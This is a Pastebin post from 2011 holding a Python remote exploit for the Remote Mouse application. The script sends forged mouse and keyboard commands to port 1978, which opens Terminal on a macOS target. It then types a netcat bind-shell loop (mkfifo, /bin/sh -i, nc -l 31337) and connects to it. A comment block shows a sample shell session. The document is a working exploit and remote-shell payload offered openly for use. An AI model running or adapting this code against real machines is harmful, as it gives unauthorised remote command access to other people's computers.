Guest User

remotemouse remote exploit

a guest
Oct 8th, 2011
1,037
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.59 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Remote exploit against remotemouse (www.remotemouse.net)
  3. #
  4. # Launches a remote shell on macosx leopard
  5. #
  6. # Aris Adamantiadis <[email protected]>
  7. #
  8. # aris@darkforce:~/synchronized/hack/remotemouse$ python hackmac.py
  9. # enjoy your shell !!
  10. # Connection to 192.168.1.3 31337 port [tcp/*] succeeded!
  11. # sh: no job control in this shell
  12. # aris@aris-laptop:~$ id
  13. # id
  14. # uid=501(aris) gid=20(staff) groups=20(staff),402(com.apple.sharepoint.group.1),401(com.apple.access_screensharing),204(_developer),100(_lpoperator),98(_lpadmin),81(_appserveradm),80(admin),79(_appserverusr),61(localaccounts),12(everyone),501(access_bpf)
  15. # aris@aris-laptop:~$ exit
  16.  
  17. import time
  18. import socket
  19. import os
  20. right = "mos  6m 9 0"
  21. up = "mos  6m 0 -9"
  22. diag = "mos  6m 9 -9"
  23. fineup = "mos  6m 0 -1"
  24. fineright = "mos  6m 1 0"
  25. key = "key1  "
  26. click = "mos  5R l d" + "mos  5R l u"
  27. host = "192.168.1.3"
  28. shellcode = "while true ; do rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -l 31337 >/tmp/f ; done&clear;exit"
  29.  
  30. def keys(v):
  31.     f=""
  32.     for i in v:
  33.         f+= key + i
  34.     return f
  35.  
  36. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  37. s.connect((host,1978))
  38. s.send(up * 200 + right * 400 + fineup * 9 + fineright *9)
  39. s.close()
  40. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  41. time.sleep(1)
  42. s.connect((host,1978))
  43. s.send(click)
  44. time.sleep(1)
  45. s.send(keys("terminal"))
  46. time.sleep(.5)
  47. s.send("key3  RTN")
  48. time.sleep(.5)
  49. s.send(keys(shellcode))
  50. time.sleep(.5)
  51. s.send("key3  RTN")
  52. time.sleep(.5)
  53. s.close()
  54. print "enjoy your shell !!"
  55. os.system("nc -v " + host + " 31337")
  56.  
  57.  
Advertisement
Add Comment
Please, Sign In to add comment